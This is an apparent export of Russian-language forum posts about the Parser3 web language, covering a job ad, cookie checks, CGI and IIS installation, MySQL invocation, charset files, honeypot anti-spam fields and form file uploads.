Программист требуется на языке Парсер. Его легко изучить, даже если вы до этого программировали на другом языке. \
\
Требования: знание ООП, XML+XSLT. Обязанности: написание приложений под существующую CMS на Парсере, разработка специализированных библиотек для CMS.\
\
Если вы плохо знаете ООП и XML - возможно бесплатное обучение.\
\
Оклад до 30000 рублей. На испытательном сроке – от 10000 рублей. В дальнейшем имеется возможность руководить развитием этой CMS (с окладом от 60000 рублей).\
\
Свяжитесь со мной: \
icq391810223 или \
(812) 590-11-67 или \
khusamov@yandex.ru \
\
// Сухроб Хусамов"
"59099","Прошу прощения за долгое молчание, на выходных был далеко от компа...\
А теперь о сути... По поводу последовательности установки, то я могу только повторить то, что указано в readme.ru так же как и [url=\"http://swissknife.bougakov.com/misc/iis/\"]здесь[/url]"
"59100","Надо получить margin_price. Если для текущей категории не задано, то смотрит родителя. Если у родителя не задано, смотрит его родителя. И т.д.\
Пока не получается. Подскажите, пожалуйста.\
\
\
[code]\
$cHash[^categories.hash[id]]				\
$parent_id($form:cid)\
^while($parent_id && $cHash.[$parent_id] && $cHash.[$parent_id].margin_price == '0'){\
	$margin_price[$cHash.[$parent_id].margin_price]\
	$parent_id($cHash.[$parent_id].parent_id)\
}\
[/code]"
"59101","Спецификацию прочитал, впал вступор...\
Решения так и не нашел.\
Спецификация - это очень мощно, но она не наглядна, а интернет не богат примерами по XML+XSLT :(\
Помогите пожалуйста"
"59102","Подскажите, как решить простой вопрос.\
Наверняка решение уже есть, но сам додуматься не могу.\
\
Необходимо определить разрешено сохранение куков на машине юзера\
или нет. Казалось бы решение простое - попробовать записать\
и потом прочитать. Соответственно если не записалось - значит \
запрещено.\
\
Однако парсер не производит реальное считывание\
если только что была запись - он возвращает то значение кука,\
которое пыла попытка записать вне зависимости от того, записалось \
оно реально или нет.\
\
То есть получается, что в пределах одного процесса отловить запрет\
нельзя и что делать - редиректить ??? Но это же переизврат.\
Короче Help какой-то :-)"
"59103","http://www.parser.ru/f/1/download/utils/test.zip"
"59109","http://www.arbatek.ru/parser_test/\
\
[quot]\
^int:sql{SELECT 2+2}: 4\
[/quot]\
\
- вы считаете что они правили парсерный тест? (я - сомневаюсь, ибо им это нафиг не нужно). \
- вы считаете что они не знают default пусть к библиотеке? (в конфигурационном файле прописан именно default)\
- вы не могли им показать на этот файл, размещенный ими на их хостинге, на который есть ссылка [url=\"http://www.arbatek.ru/parser/\"]тут[/url] и объяснить что вам нужно? (или даже просто скопировать название библиотеки указанной на их тестовой странице)"
"59110","обычно cookies нужны посетителю для совершения каких либо действий, т.е. после того как он увидел какие-то страницы на нашем сайте (например при логине он сначала должен увидеть форму логина и т.д.)\
\
т.е. я считаю что редирект не нужен, нужно лишь не выполнять действий, требующих наличия cookie если мы ещё не удостоверились в их доступности.\
\
простейший код, добавленный в начало обработки (да хоть в /auto.p/@auto[]) нас спасает (правда нехорошо что используется глобальная переменная... если очень не нравится - вынисете эти методы в отдельный класс %-)):\
\
[code]\
@checkCookiesAvailability[][result]\
^if(!def $cookie:available && !$bJustSetCookieForChecking){\
	$cookie:available[\
		$.value[yes]\
		$.expires(365)\
	]\
	$bJustSetCookieForChecking(true)\
}\
$result[]\
[/code]\
\
\
а проверять в нужные моменты доступность cookies можно вызывая другой простой метод:\
\
[code]\
@isCookiesAvailable[]\
^checkCookiesAvailability[]\
$result(def $cookie:available && !$bJustSetCookieForChecking)\
[/code]"
"59111","В итоге у меня в /cgi-bin/lib/ лежит переименованный libmysqlclient.so.14.0.0 и в auto.p абсолютно к нему прописан путь.\
\
Чё мне врать-то =)\
\
Может у них там всё нормально настроено и установлено, но конкретно на данном проекте возникли проблемы с установкой Parser3, даже несмотря на всю тривиальность подхода к установке. \
\
В итоге имеем, что тех. поддержка сего хостинга сподвигла меня отказаться от использования услуг хостинга в дальнейшем.\
\
Это если офисным языком. А на деле, 5 рабочих дней ребяты выкинули в корзину.\
\
PS: Кстати, РБК уже вторую неделю не могут прописать DNS на один хост, звоним почти кадый день."
"59112","Ваш вариант решения логичен.\
Но в том-то и дело, что не работоспособен.\
\
Посудите сами - даже Вы используете в нём глобальную переменную result.\
(Кстати из заголовка первого метода [result] надо убрать. Она же глобальная :-))\
\
Живучесть любой переменной находится в пределах живучести процесса.\
Не зависимо от того блока кода, в котором она была создана.\
Разделение кода на блоки не влияет на результат,\
так как при исполнении код собирается в единый класс MAIN.\
Проблема-то как раз в том, что как и любая переменная $cookie:available чудесно продолжает существовать с заданным значением,\
не зависимо от того записалась информация в кук или не записалась.\
То есть парсер сам вообще никак не отслеживает результат попытки записи кука.\
\
Вот и получается, что надо перезапускать процесс сразу после создания кука,\
чтобы его моментально попробовать прочитать и сделать выводы.\
То есть redirect. :-(\
В общем придётся извращаться, хотя конечно Ваш вариант логичен,\
да я и сам изначально тоже пришёл к нему, да вот только не фурычит."
"59113","[quot]\
Но в том-то и дело, что не работоспособен.\
[/quot]\
\
работоспособен. я использую.\
\
[quot]\
Кстати из заголовка первого метода [result] надо убрать. Она же глобальная :-)\
[/quot]\
\
и? это не связанные вещи. кроме того я-же сразу сказал - не нравится глобальная переменная - сделайте статический класс из 2-х методов и используйте. никакой глобальной переменной не будет. кроме того это был пример написаный за минуту, главное было показать что примено надо делать.\
\
[quot]\
Проблема-то как раз в том, что как и любая переменная $cookie:available чудесно продолжает существовать с заданным значением,\
не зависимо от того записалась информация в кук или не записалась.\
[/quot]\
\
вам религия мешает запомнить, что эту проверочную куку вы записали только что, и в этом случае не считать что она есть? (именно это, кстати, я и показывал в коде)\
\
\
чтобы узнать принимает ли броузер пользователя куки надо делать редирект. это надо делать в любом серверном языке, т.к. надо отдать броузеру контент с указанием произвести запись кук и получить от него новый запрос, в котором придут имеющиеся у него куки. тут без вариантов, и \"перезапуск процесса\" тут не поможет (если вы имели в виду перезапуск серверного процесса обработки запроса пользователя).\
\
я объяснил почему в реальной жизни делать редирект не нужно: в тот момент когда вашему коду это реально понадобиться - с помощью приведенного кода вы уже будете знать есть они или нет (т.е. вы повесите пользователю эту куку при первом-же его заходе на сайт).\
\
и кстати, делая редирект не забывайте дописать что-нить в url чтобы миновать прокси и самое главное не зациклиться, если у пользователя выключены куки."
"59114","сами же пишете что надо получить margin_price\
и сами же обрабатываете ТОЛЬКО ключи с margin_price == '0'\
сл-но когда он доходит до родителя с margin_price != '0', цикл не выполняется\
добавьте после цикла while: \
[code]\
$margin_price[$cHash.[$parent_id].margin_price]\
[/code]\
и будет вам счастье"
"59115","Ну да. Например,\
[code]\
Книги 10\
	Дизайнерские 20\
		Детские 0\
[/code]\
\
Если margin_price у \"Дизайнерские\" !=0, то цикл останавливается и берется margin_price именно этой категории. Т.е. здесь должно получится 20."
"59117","В общем всё вернулось на круги своя - без редиректа никак...\
А так хотелось. Ну что ж, придётся извращаться.\
\
Ещё раз всем спасибо."
"59118","[code]\
^while($parent_id && $cHash.[$parent_id] && $cHash.[$parent_id].margin_price == '0'){...\
[/code]\
\
=>\
\
[code]\
$margin_price(0)\
^while($parent_id && $cHash.[$parent_id] && !$margin_price){...\
[/code]"
"59119","Есть БД MS SQL Server, в которой находятся три таблицы:\
table1: | uid | value1 | value 2\
table2: | uid | xid | value1 | value2\
table3: | uid | xid | value1 | value2\
\
Каждой записи из table1 соответствует несколько записей из table2 и несколько - из table3 (связанных по параметру xid: table1.uid=table2.xid и table1.uid=table3.xid).\
\
Теперь, собственно, сам вопрос: как выбрать value1 и value2 из table1, а также количество соответствующих записей из table2 и table3? Можно ли сделать это одним запросом?"
"59120","Вам уже помогли.\
\
Внимательнее смотрите http://www.parser.ru/forum/?id=59017"
"59122","ради этого дела, снес винду и поставил заново...\
Результат - парсер не установлен..."
"59123","Если кто знает подскажите, есть абстрактная таблица допустим состоящая из пяти столбцов, четыре столбца содержат абсолютно одиноковую текстовую информация, пятый столбец содержит числовое значение, необходимо выбрать запись где значение пятого столбца мимимальное. Возможно ли это средствами парсера? Если да то как? Заранее спасибо за ответ."
"59124","повторять все что написано - не нужно, нужно описать что делали вы: укзакать полные пути куда вы что копировали и т.д.\
\
т.к. мы знаем, что у многих парсер устанавливается на iis, следовательно считаем что именно вы делаете что-то не так."
"59125","однако подобное лучше делать с помощью SQL"
"59126","скачена версия parser3_2_1_ru\
уставовку произвожу в C:\\parser\
сервер расположен локально в каталоге по умолчанию C:\\Inetpub\\wwwroot\
далее как по написаному: открываю IIS Manager, по правой кнопке мыши на названии веб-сервера и \"Properties\".\
\
Далее вкладка «Home directory».\
\
Раздела «Application settings» нет, есть кнопка «Configuration...» жму ее.\
В появившемся окне нажмите на кнопку «Add».\
\
В поле «Executable» указываю полный путь ISAPI расширению parser3isapi.dll. (В моем случае это C:\\parser\\parser3isapi.dll).\
\
В поле «Extension» - «.html».\
Опции «Check that file exists» нету. Есть \"Verify that file exists\" Ставлю галочку. Жму «OK».\
\
Перезапускаю сервер командами NET STOP iisadmin и NET START w3svc\
\
иду в каталог C:\\parser\\other пробую _test.html, получаю это: \
[quote]# Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается. #[/quote]\
\
Естественно мой скрипт не работает тож.\
что я неправильно делаю?.."
"59127","[quot]\
иду в каталог C:\\parser\\other пробую _test.html, получаю это:\
[/quot]\
\
про это чуть подробнее...\
вы открываете файл? или все-таки http://127.0.0.1/_test.html или http://localhost/_test.html (или другой адрес/домен на которое у вас повешен iis?)"
"59128","Пробовал и открывать и http://IP_адрес/_test.html (Предварительно скопирова в C:\\Inetpub\\wwwroot\\)\
\
а вот http://127.0.0.1/_test.html и http://localhost/_test.html в результате - Bad Request (Invalid Hostname). я не использую этот сетевой интерфейс, сервер настроен на внешний IP-адрес."
"59129","Логично, SQL будет позже...\
Спасибо..."
"59130","Какая строчка станет первой при совпадении значений в пятом столбце? Есть еще и шестой столбец содержащий данные..."
"59132","что я и сделал сразу, и не нашел никакой взаимосвязи между создаваемой в итоге таблицей и шестым столбцом, если бы я увидел какую-то зависимость не стал бы лишний раз задавать ненужные вопросы..."
"59134","Есть исходная таблица (price) со столбцами Группа, Тип, Бренд, Модель, Цена и Место. Эта таблица сформирована по складским остаткам трех складов в двух городах, позиции в ней могут совпадать по всем параметрам, то есть один и тот же товар может находиться на различных складах в разных городах и по одной цене. Необходимо для итоговой таблицы выбрать товар с минимальной ценой, в случае если цена одинаковая на разных складах необходимо выбрать тот товар который лежит на приоритетном складе. \
Собственно сам код который мне удалось сваять для этих целей:\
[code]\
@minimaliser[]\
$price[^table::load[price.txt]]\
$price_copy[^table::create[$price;$.offset[cur]]]\
$price_itog[^table::create{Группа	Тип	Бренд	Модель	Цена	Место}]\
^price_itog.save[price_itog.txt]\
$price_itog[^table::load[price_itog.txt]] \
^price.menu{\
^if(^price_itog.locate[Модель;$price.Модель]){}{\
$temper[^price_copy.select($price_copy.Модель eq $price.Модель)]\
^temper.sort($temper.Цена)\
^price_itog.append{$price.Группа  $price.Тип $price.Бренд $price.Модель	$temper.Цена	$temper.Место}\
}\
}\
^price_itog.save[price_itog.txt]\
[/code]\
Заранее спасибо за ответ."
"59135","из вашего кода я мало чего понял, однако вижу что вы делаете больше, чем описывали ранее. ранее вы говорили только о нахождении записи с минимальным значением в одном столбке, теперь речь идет о нахождении записи с минимальным значенимм в столбце среди записей с определенным значением в столбце Модель и ещё речь идет про какой-то приоритетный склад, упоминания в коде которого не видно.\
\
вам-не нужны никакие menu и locate.\
0. загрузите таблицу (одна строка кода)\
1. выберите записи с нужным значением в поле Модель (одна строка с .select, которая создаст вам новую таблицу содержащую все записи об этой модели)\
2. отсортируйте её по полю Цена (одна строка с .sort)\
3. если вам нужна только одна запись - скопируйте полученную таблицу указав параметр $.limit(1) (одна строка)\
4. запишите в файл, если это вам нужно (ещё одна строка)"
"59136","[code]\
^if($flag){\
    $result(false)\
}{\
    ^if(!$flag){\
        $result(true)\
    }{\
        ^if($flag && !$flag){\
            $result(!true && !false)\
        }\
    }\
}\
[/code]"
"59137","слово [url=\"http://lingvo.yandex.ru/en?CardId=SY29udGFpbmVy;L0F\"]контейнер[/url] в данном месте неясно?"
"59139","на форуме люди подробно писали.\
кто найдёт, пожалуйста в эту ветку продублируйте?\
\
без телодвижения mapping игнорировался."
"59140","Начел изучать язык Парсер. Скачал документацию в формате .пдф и сделал все как там написано.\
\
Первый урок: Сделать меню. Создал sections.cfg  и menu.p (код на парсер где объявляю navigation[], дальше написал в файле index.html  ^navigation[]. Когда запустил Apache начал ругаться - \"undefined method - navigation\". Тоесть Apache не понимает откуда взять @navigation^.\
\
Посмотрел как написан код для навигаций (examples/lesson1). Там @navigation[] написан в index.html а menu.p вообще нету =). Попробовал так написать и все получилось. \
\
Теперь вопрос: Как сделать чтоб все работало в первом случае.\
\
или может я чтота не понял.. :)"
"59141","1. что такое 'menu.p' мы не знаем. насколько мне изместно в документациях он не упоминается.\
2. если имелось в виде auto.p, то тут http://www.parser.ru/docs/lang/?lesson1.htm про него сказано в третьем пункте."
"59142","Да. menu.p это auto.p :). \
Я не понел. В index.html должна быти тока строка с ^navigation[] ?"
"59143","[quot]\
Вот и все, подготовительные работы закончены. Теперь открываем код страницы, где все это должно появиться (например, index.html), и говорим: «Вставить меню навигации». На Parser это называется «вызов метода» и пишется так:\
\
^navigation[]\
[/quot]\
\
у меня нет иного способа трактовать этот текст из документации."
"59144","Пле.. страно. У меня матерится что не задан @navigation[] :( . А как вообще index.html находит код auto.p где задан @navigation[]. Извиняюси есль создал тупой топик.. :("
"59145","gregoryfly [аt] yandex.ru"
"59147","ответ на этот вопрос - будет подальше, в тоже документации :)\
\
главное запомнить - из файла auto.p, который лежит в корне сайта, можно вызывать любые функции с любых страниц и коталогов сайта.\
так что если вставить ^navigation[] \"в idex.html\" или в \"/some/catalog/menu.html\" - результат будет на обеих страницах один и тот же!"
"59148","Спасибо! Неожидал.. парсер рулит :D"
"59149","ааа.. понел! А из других name.p можно вызвать ? Есль нет - тогда понел мою ощибку. Спасибо форуму Парсер :D"
"59152","Как отслелить адрес отправителя сообщения? Спам приходит через форму. Определяется как локальный адрес: 24.119.206.79. Как узнать, откуда товарисч?\
\
Заранее извиняюсь, если не по адресу вопрос."
"59153",";)"
"59155","так понимаю, для похожей области, когда пользователь почему-то не желает использовать SQL, но файлов ему достаточно, красиво ложится SQLite.\
\
мы уже близки к его выпуску. кому нужно срочнее, можно уже начинать экспериментировать.\
http://cvsview.parser.ru/cgi/viewcvs.cgi/sql/sqlite/"
"59156","en: http://www.parser.ru/forum/?id=27081\
ru: http://www.parser.ru/forum/?id=46007\
\
вот за 3 минуты нашлось. искал \"IIS mapping\": вторая страница результатов, середина."
"59157","Здравствуйте!\
Подскажите, пожалуйста, где обычно берут файлики с чарсетами?\
Например, интересуют:\
windows-1252 (очень хотелось бы получить такой, но почему-то в стандартной поставке отсутствует)\
windows-1253 (greek)\
ну и другие если есть.\
Я, конечно, понимаю, что можно самому написать такой, но зачем, если есть готовый наверняка.\
PS. Задача проста до банальности: нужно вывести страничку на немецком языке (греческом, литовском и проч). Страничка в однобайтной кодировке. Для немецкого желательно в хедере вывести charset=windows-1252, для греческого 1253 и т.д. Для литовского 1257.\
PPS. utf-8 и другой юникод, конечно же, не предлагать (я про них знаю, но нужна однобайтная кодировка по ряду причин)."
"59160","и это.... испытательный срок запрещен КЗОТОМ! Либо плотно беседуете с человеком и берёте его на работу, либо не надо полоскать ему мозги :)"
"59161","Можно и без испытательного срока. Будем плотно беседовать. Я не против.\
\
Хотя... та схема что я предложу возможно тоже заинтересует. \
\
Смотрите:\
\
Допустим такие данные: \
Испытательный срок - 1 месяц.\
На этот срок оклад - 10000 рублей.\
Нормальный оклад - 30000 рублей.\
\
Тогда, если вы испытательный срок проходите (вы ведь уверены в своих силах), то получаете +20000 рублей.\
Если не проходите - получаете только 10000 и увольняетесь.\
\
Естественно будут четкие критерии, по которым мы определяем проходите или не проходите."
"59165","Необходимо на парсере заставить MySQL взять файл запросов 1.sql.\
\
^file::exec[mysql <1.sql] выдает ошибку: method_frame may not be overwritten with file, store it to variable instead\
\
В файле 1.sql: INSERT INTO `tab1` (`abc`) VALUES ('111');\
\
Из командной строки все выполняется, правда, с указанием места, где лежат кодировки.\
\
Я уже как-то решал эту проблему, все работало.\
Сейчас уже не помню как.\
\
Как решить данную проблему?"
"59166","Решил проверять на русскость языка, и на содержание в теле письма символов, типа http://"
"59167","А также переведите сообщение об ошибке.\
Нужно понять [b]что именно[/b] возвращает ^file::exec[], и, конечно же, куда он это возвращает."
"59168","http://www.parser.ru/download/win32/\
есть ссылка \"Конфигурационный файл и файлы описания кодировок\", в архиве готовые файлы для 1250, 1251, 1254, 1257, koi8-r.\
\
недостающие можно сделать самому, в документации есть [url=\"http://www.parser.ru/docs/lang/?installcharset.htm\"]описание формата[/url].\
Примеры char, lowercase и unicode1 можно подсмотреть например [url=\"http://unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/\"]здесь[/url]."
"59169","Что-то не понял. Вы же сами пишете, что адрес локальный, и в то же время спрашиваете, откуда товарищ. Это не ваш top level domain?\
24.119.206.79 resolves to\
\"24-119-206-79.cpe.cableone.net\"\
Top Level Domain: \"cableone.net\""
"59170","http://nedbatchelder.com/text/stopbots.html"
"59174","[quot]\
Honeypot fields are invisible fields on the form. Invisible is different than hidden. ... Invisible fields are ordinary editable fields that have been made invisible in the browser.\
[/quot]\
\
тут: http://www.parser.ru/forum/?id=50523\
[quot]\
Можно попробовать сделать несколько кнопок подтверждения отправки сообщения (submit) с разными action, но только одну из них \"правильную\". А \"не правильные\" сделай не видимыми для пользователя.\
[/quot]\
\
и по её следам: http://www.parser.ru/examples/antispam/"
"59175","там написано про invisible text field.\
\
Мера направлена против роботов, которые 1) реально считывают форму и парсят её 2) фигачат \"cheap viagra\" в КАЖДОЕ текстовое поле, которое найдут.\
\
Если есть несколько кнопок submit, есть шанс, что попадут в правильную. С подставным полем вариант красивее)"
"59176","@main[]\
$file[^file::exec[mysql --no-defaults --host=localhost --port=3306 --database=db1 --user=user1 --password=password1 --character-sets-dir=\"share\\charsets\" --default-character-set=cp1251 <1.sql]]\
$file.text - здесь пусто.\
\
Ввожу то же самое в командную строку - добавляется запись в базу.\
\
Где грабли?"
"59178","тем не менее я слова ASharky так буквально не воспринял и поэтому антиспамный класс умеет размножать поле любого типа (правда в его описании написано что он работает только с type=\"submit|image|button\", это я как-нить подправлю) :)\
\
если в скачанном примере в _antispam.html добавить в определение hAction, $.sName[email] и закомментировать $.value[[+]] и $.value[[-]], то получим 4 поля для ввода email, лишь одно из которых - настоящее."
"59180","Здравствуйте!\
\
Что сделал:\
\
1. Скачал [url=\"http://www.parser.ru/f/1/download/win32/parser3_2_1_win32_cgi_xml.zip\"]http://www.parser.ru/f/1/download/win32/parser3_2_1_win32_cgi_xml.zip[/url]\
\
2. Скопировал все файлы из архива в каталог /cgi/ каталога сайта\
\
3. Добавил в корень .htaccess \
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
CharsetDisable On\
\
4. В настройках сервера (через CMS хостинга) включил поддержку .htaccess\
\
\
\
Что случилось:\
\
1. Выдалась 500 ошибка. \
2. Убрал CharsetDisable On. \
3. Выдаётся 404 ошибка\
\
\
Вообще:\
\
Если честно, никогда такие штуки не ставил и понятия не имею, как это должно выглядеть. С парсером работаю локально через Денвер.\
\
Помогите пожалуйста."
"59181","Спасибо за ответы..."
"59182","Установил пакет как для FreeBSD,\
\
лог ошибок выдаёт как и раньше\
\
[Thu Mar  1 16:19:43 2007] [error] [client 10.1.0.254] File does not exist: /home/serzhantov/test.serzhantov.ru/cgi/parser3.cgi/index.html"
"59186","для начала узнайте используемую там OS. и точно на вашем тарифном плане можно использовать собственные CGI скрипты?"
"59187","На хостинге установлена FreeBSD 4.11.\
\
Минуту назад говорил со службой поддержки, сказали, что Parser «не пойдёть, пробовали».\
\
Что, реально не пойдёт, или есть шансы?"
"59191","а parser3.cgi из этого архива - http://www.parser.ru/f/1/download/freebsd/parser3_2_1_freebsd410R_cgi_xml.tar.gz и не parser3mysql.dll, a parser3mysql.so отсюда - http://www.parser.ru/f/1/download/freebsd/parser3sql_1_4_freebsd49R_mysql.tar.gz"
"59192","Куда лоадить MySQL?"
"59194","[Thu Mar  1 17:46:03 2007] [error] [client 10.1.0.254] File does not exist: /home/serzhantov/test.serzhantov.ru/cgi/parser3.cgi/index.html"
"59195","Насколько я понимаю, конструкция\
\
/parser3.cgi/index.html\
\
это попытка передать файл html как параметр скрипту парсера. Разьве такая форма записи возможна?"
"59196","Думал сделать так: есть две кнопки \"Submit\", первая отправляет всю форму, вторая загружает файл (снизу выводится информация о прикрепленных файлах и, возможно, еще одна кнопка \"Submit\" для удаления выбранных файлов из списка загрузки).\
Такой вариант реализовать не получилось, так как поле в форме одно, а добавление следующего файла перезаписывает старый; и что более важно - при отправке всей формы через главный \"Сабмит\", $form:file засабмиттеный второй кнопкой почему-то куда-то исчезает (((\
\
[code]<FORM method=\"POST\" enctype=\"multipart/form-data\">\
<P>Текст <textarea name=\"body\">$form:body</textarea>\
<P><input type=\"submit\" value=\"Добавить статью\" name=\"posted\">\
#### Загрузка картинки \
<P>Файл <INPUT type=\"file\" name=\"file\">\
<P><input type=\"submit\" value=\"Загрузить файл\" name=\"load_pic\">\
</FORM>\
\
<P>^if(def $form:file){<a href=\"#\" onclick=\"add_link()\">$form:file.name</a> ($form:file.size байт)}[/code]\
\
add_link() служит для постановки ссылки на файл в body статьи.\
\
Можно сохранять файлы сразу на сервер (во временную директорию), но их ведь нужно как-то чистить на случай закрытия страницы, зависания компа, наконец. Да и как отличить эти файлы от сохраненных другим пользователем?..\
Можно конвертить файлы в base64 и сохранять в кукесы, а при случае их с предыдущей страницы (список статей, к примеру) каждый раз удалять/чистить. Из кукесов, при нажатии на главную кнопку \"Submit\", файлы можно сохранить на диск куда надо, а в БД добавлять информацию о прикрепленном к статье файле (чтобы потом можно было удалить всё сразу: и статью и файлы).\
\
Короче говоря получается очень криво, громоздко и неуниверсально.\
\
Кто что может посоветовать?"
"59200","Что-то странное происходит когда я добавляю сообщения из-под IE7.\
На сколько я помню, к форуму был прикручен антиспам модуль. \
Походу его проделки.\
Специально пробовал на разных формах - везде все отсылается один раз."
"59203","так что конкретно нужно?\
\
можно либо ограничить кол-во заливаемых файлов за один раз (и на каждый сделать свой submit), либо сохранять на диск, как временные файлы, другого выхода нету. Кстати, непонятно, каким образом он все-же сохраняется в конце-концов :)\
\
и форма немного не так написана. в таком случае лучше сделать отдельный submit на файл:\
\
[code]\
<FORM method=\"POST\">\
<P>Текст <textarea name=\"body\">$form:body</textarea>\
<P><input type=\"submit\" value=\"Добавить статью\" name=\"posted\">\
</form>\
#### Загрузка картинки \
<form method=post enctype=\"multipart/form-data\">\
<P>Файл <INPUT type=\"file\" name=\"file\">\
<P><input type=\"submit\" value=\"Загрузить файл\" name=\"load_pic\">\
</FORM>\
[/code]\
Вредный совет (P.S.): попытайтесь исполнить вариант с base64 и cookie и опишите тут результат ;)\
а лучше ПОДРОБНО опишите поблему, и Вам дадут дельный совет!"
"59205","Есть база данных (MySQL или PostgreSQL). В ней, в одной таблице, около 20000 записей. Записи содержат ключ, еще несколько значений, по которым нужен поиск. К каждой записи нужно привязать около 150 параметров (тип float). Параметры было бы удобно держать в группах (примерно, по 20), так как получать их нужно будет именно группами. Вот, думаю, как это сделать...\
\
Данные помещаются в базу довольно редко. Не редактируются вообще. А вот выборку нужно делать Парсером, при том часто и быстро (для отображении страницы).\
\
Мои варианты:\
\
[b]Тупо 150 столбцов в БД.[/b]\
Минусы: это тупо; ужасный вид таблицы и запросов; не удастся сделать группы (если только не городить много таблиц).\
Плюсы: насколько я понимаю, это будет быстро работать.\
\
[b]Текстовые столбцы (по группам)[/b] с разделителями ([b]tab[/b] или [b];[/b] или буква [b]Ж[/b]...)\
Минусы: объем таблицы будет в разы больше; данные потом долго разбирать (но не очень); и тоже как-то туповато...\
Плюсы: данные легко добавлять; это не самый медленный вариант.\
\
[b]Несколько бинарных столбцов (по группам)[/b]\
Минусы: я не знаю, как можно быстро разобрать бинарные данные в парсере (но это, скорее, мой минус...).\
Плюсы: это не тупо; маленький объем БД.\
\
\
Лично для меня задача весьма необычная. Хотелось бы не придумывать велосипед, а сделать по-умному. Подскажите, если у кого-то есть мысли по этому поводу. Спасибо.\
\
\
[color=\"#666666\"]P.S.\
То ли я не умею составлять поисковые запросы, то ли словарный запас маленький, но поиск на любой вопрос выдает все мои сообщения (по совершенно другим темам) на первой странице ;-)[/color]"
"59209","Большое спасибо за подсказку, буду пробовать... я сам искал по форуму с ключевым словом IIS6, и поэтому не наткнулся на эти треды...\
\
ЗЫ. А \"Разрешения веб-службы\" это видимо в английской версии будет \"Web Service Extensions\"?"
"59211","У меня FreeBSD 4.11…\
\
Прописал права 755 скрупту парсера и БД. 404."
"59212","Ещё вопрос:\
\
[b]В .htaccess вот что:[/b]\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
[b]Папка на диске[/b] — /cgi/parser3.cgi\
\
[b]В файле virtual.conf.manual:[/b]\
\
ScriptAlias /cgi-bin/ /home/serzhantov/test.serzhantov.ru/cgi/\
\
Я хочу понять правильно ли, что пути папок /cgi/ так прописываются."
"59214","Параметры, наверное, нужно вынести в отдельную таблицу, в которой будет и поле GroupId (проиндексированное).\
Но причем тут Парсер, непонятно? Парсер не причем."
"59215","[quote]так что конкретно нужно?\
\
можно либо ограничить кол-во заливаемых файлов за один раз (и на каждый сделать свой submit), либо сохранять на диск, как временные файлы, другого выхода нету. Кстати, непонятно, каким образом он все-же сохраняется в конце-концов :)[/quote]\
\
Спасибо за ответ )\
Сложно сказать что именно нужно :) но попытаюсь.\
\
При добавлении статьи/новости необходимо:\
\
1. добавлять информацию к записи в БД о прикрепленных файлах, как это сделано на некоторых форумах или веб-формах почтовых клиентов;\
2. сохранять много файлов на одну статью/новость/и т.д.;\
3. сохранять так, чтобы сразу в текст можно было добавить тэги со ссылкой на файл;\
\
[quote]и форма немного не так написана. в таком случае лучше сделать отдельный submit на файл:\
\
[code]<FORM method=\"POST\">\
текст\
сабмит\
</FORM>\
####\
загрузка файла\
сабмит\
</FORM>[/code][/quote]\
\
Хм, попробовал. Только не могу понять чем такой вариант лучше одной формы и двух сабмитов:\
[code]<FORM method=\"POST\">\
тело\
сабмит\
####\
загрузка файла\
сабмит\
</FORM>[/code]\
\
Дело в том, что так как формы две штуки, нельзя реализовать сохранение набранных данных в первую форму при загрузке картинки (её сабмит не нажимается).\
+ всё равно пропадает загруженная картинка.\
\
[quote]Вредный совет (P.S.): попытайтесь исполнить вариант с base64 и cookie и опишите тут результат ;)[/quote]\
\
Я даже не знаю... что-нибудь вроде этого:\
\
[code]\
^if(def $form:photo){\
  ^if(def $cookie:foto_names){$cook_table[^table::load[nameless;$cookie:foto_names]]}{$cook_table[^table::create[nameless]{}]}\
  $math[^math:uid64[]]\
  ^cook_table.append{$form:photo.name	$math}\
  $cookie:foto_names[\
    $.value[^cook_table.menu{$cook_table.1	$cook_table.2}[^#0A]]\
    $.expires[session]\
  ]\
  $cookie:$math[\
    $.value[^form:photo.base64[]]\
    $.expires[session]\
  ]\
  $original[^file::base64[$cookie:$math]]\
  ^original.save[binary;/temp/gg.gif]\
}\
[/code]\
\
При финальном сабмите все файлы сохраняются из кукезов на диск сервера. И еще где-то кукезы надо удалять.\
\
Да, да - это называется п*здец )) Я знаю ) Но вы же просили исполнить ))\
\
P.S. Кстати, как можно [i]удалять[/i] кукезы? А то что-то я такого в мануале не нашел..."
"59216","Ой, ну только строки \
[code]$original[^file::base64[$cookie:$math]]\
^original.save[binary;/temp/gg.gif][/code]\
лишние..."
"59217","ничего. а как его делать?"
"59218","Если бы Парсер был не причем, то данные хранились бы в бинарном виде, без вариантов. А с Парсером мне не понятно пока, как разбирать бинарные данные и насколько это затратно. Конечно, придется методом научного тыка... Насчет отдельных таблиц: это и загружать долго и выгружать. И смысла нет, т.к. количество данных не изменяется.\
\
А вопрос был задан на случай, если кто-то знает хитрый прием, который позволяет эту задачу решить легко и красиво."
"59219","[quote]1. добавлять информацию к записи в БД о прикрепленных файлах, как это сделано на некоторых форумах или веб-формах почтовых клиентов;\
2. сохранять много файлов на одну статью/новость/и т.д.;\
3. сохранять так, чтобы сразу в текст можно было добавить тэги со ссылкой на файл;[/quote]\
в некоторых почтовых клиентах (mail.ru, например) тоже есть ограничение на кол-во файлов (10).\
\
Даже при добавлении одного файла, если можно будет на него ставить ссылку, занчит он уже сохранен? и местоположение его известно? так в чем проблема [file_id]_1, [file_id]_2 и т.д. можно обозвать их, и вся проблема.\
\
P.S.: в cookie нельзя записывать огромное кол-во информации :), так что ничео не выйдет.\
\
удалять - просто записать пустое значение $cookie:name[] - но иногда это почему-то вызывает глюк и они не удаляются..."
"59220","Нет ли таблиц подсветки синтаксиса для Kate или Kwrite?"
"59221","и в sh уже сможете писать стрелочки (которых нельзя писать в file::exec).\
\
вопрос обсуждался уже не раз, вот вас мой коллега по модерированию и пригрел, уж не взыщите."
"59222","дисковая папка — одно дело.\
папка запрашиваемого документа — другое.\
и это хорошо соотносится с сообщением об ошибке:\
http://www.parser.ru/forum/?id=59194\
\
всё вместе это означает, что .htaccess и virtual.conf.manual успешно отработали.\
\
однако результат они пока дают странный.\
если открыть этот вот адрес:\
